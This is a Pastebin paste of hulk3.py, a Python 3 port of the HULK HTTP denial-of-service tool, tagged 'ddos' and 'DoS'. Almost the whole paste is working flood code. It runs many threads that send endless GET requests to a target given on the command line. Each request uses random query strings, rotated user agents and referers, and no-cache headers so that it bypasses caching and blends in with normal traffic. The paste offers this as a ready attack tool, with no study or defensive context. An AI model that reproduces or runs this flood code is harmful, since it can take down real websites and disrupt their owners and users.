thekin

Hulk3.py the HTTP Unbearable Load King

Dec 31st, 2022 (edited)
1,438
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 4.52 KB | Source Code | 0 0
  1. # ----------------------------------------------------------------------------------------------
  2. # This is hulk3.py made to support Python 3
  3. # The original author's name is Barry Shteiman made to support Python 2
  4. #
  5. # Author : Drqonic, version 2.0
  6. # ----------------------------------------------------------------------------------------------
  7. import argparse
  8. import random
  9. import re
  10. import requests
  11. import threading
  12.  
  13. from urllib3.exceptions import InsecureRequestWarning
  14.  
  15. requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
  16.  
  17. useragents = [
  18.     "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3",
  19.     "Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)",
  20.     "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)",
  21.     "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1",
  22.     "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1",
  23.     "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)",
  24.     "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)",
  25.     "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)",
  26.     "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)",
  27.     "Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)",
  28.     "Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)",
  29.     "Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51"
  30. ]
  31.  
  32. referers = [
  33.     "http://www.google.com/?q=",
  34.     "http://www.usatoday.com/search/results?q=",
  35.     "http://engadget.search.aol.com/search?q="
  36. ]
  37.  
  38.  
  39. def buildblock(size):
  40.     return "".join(chr(random.randint(65, 90)) for i in range(size))
  41.  
  42.  
  43. class Controller:
  44.     request_count = 0
  45.     status_code = 0
  46.  
  47.     flag = True
  48.     safety = False
  49.    
  50.  
  51. class HTTPThread(threading.Thread):
  52.     def __init__(self, url):
  53.         threading.Thread.__init__(self)
  54.  
  55.         self.url = url
  56.  
  57.     def run(self):
  58.         while Controller.flag:
  59.             headers = {
  60.                 "User-Agent": random.choice(useragents),
  61.                 "Cache-Control": "no-cache",
  62.                 "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7",
  63.                 "Referer": f"{random.choice(referers)}{buildblock(random.randint(5, 10))}",
  64.                 "Keep-Alive": str(random.randint(110, 120)),
  65.                 "Connection": "keep-alive"
  66.             }
  67.  
  68.             param_joiner = "&" if self.url.count("?") else "?"
  69.             parameter = f"{buildblock(random.randint(3, 10))}={buildblock(random.randint(3, 10))}"
  70.  
  71.             try:
  72.                 resp = requests.get(f"{self.url}{param_joiner}{parameter}", headers=headers, verify=False)
  73.  
  74.                 Controller.status_code = resp.status_code
  75.                 Controller.request_count += 1
  76.             except requests.exceptions.InvalidURL:
  77.                 Controller.flag = False
  78.             except (requests.exceptions.ConnectionError, requests.exceptions.HTTPError):
  79.                 Controller.status_code = 500
  80.  
  81.                 if Controller.safety:
  82.                     Controller.flag = False
  83.  
  84.  
  85. class HTTPMonitor(threading.Thread):
  86.     @staticmethod
  87.     def run():
  88.         previous = Controller.request_count
  89.  
  90.         while Controller.flag:
  91.             if Controller.status_code == 500:
  92.                 print("Response Code 500")
  93.  
  94.                 continue
  95.  
  96.             if Controller.request_count >= previous+100:
  97.                 print(f"{Controller.request_count} Requests Sent")
  98.  
  99.                 previous = Controller.request_count
  100.  
  101.  
  102. def main():
  103.     parser = argparse.ArgumentParser()
  104.     parser.add_argument("--url", "-u", type=str, required=True, help="Target to flood (e.g. http://example.com/)")
  105.     parser.add_argument("--threads", "-n", type=int, required=True, help="Amount of threads to use")
  106.     parser.add_argument("--safety", "-s", default=False, action="store_true", help="Should the flood automatically stop after succession")
  107.  
  108.     args = parser.parse_args()
  109.  
  110.     if not args.url.endswith("/"):
  111.         args.url += "/"
  112.  
  113.     host = re.search(r"^(?:https?:\/\/)?(?:[^@\/\n]+@)?([^:\/\n]+(?::\d+)?)", args.url).group(1)
  114.  
  115.     referers.append(f"http://{host}/")
  116.  
  117.     Controller.safety = args.safety
  118.  
  119.     print("-- HULK Attack Started --")
  120.  
  121.     for i in range(args.threads):
  122.         http_thread = HTTPThread(args.url)
  123.         http_thread.start()
  124.  
  125.     http_monitor = HTTPMonitor()
  126.     http_monitor.start()
  127.     http_monitor.join()
  128.  
  129.     for thread in threading.enumerate():
  130.         if thread == threading.current_thread():
  131.             continue
  132.  
  133.         thread.join()
  134.  
  135.     print("\n-- HULK Attack Finished --")
  136.  
  137.  
  138. if __name__ == "__main__":
  139.     main()
  140.  
Tags: python ddos DoS
Advertisement
Add Comment
Please, Sign In to add comment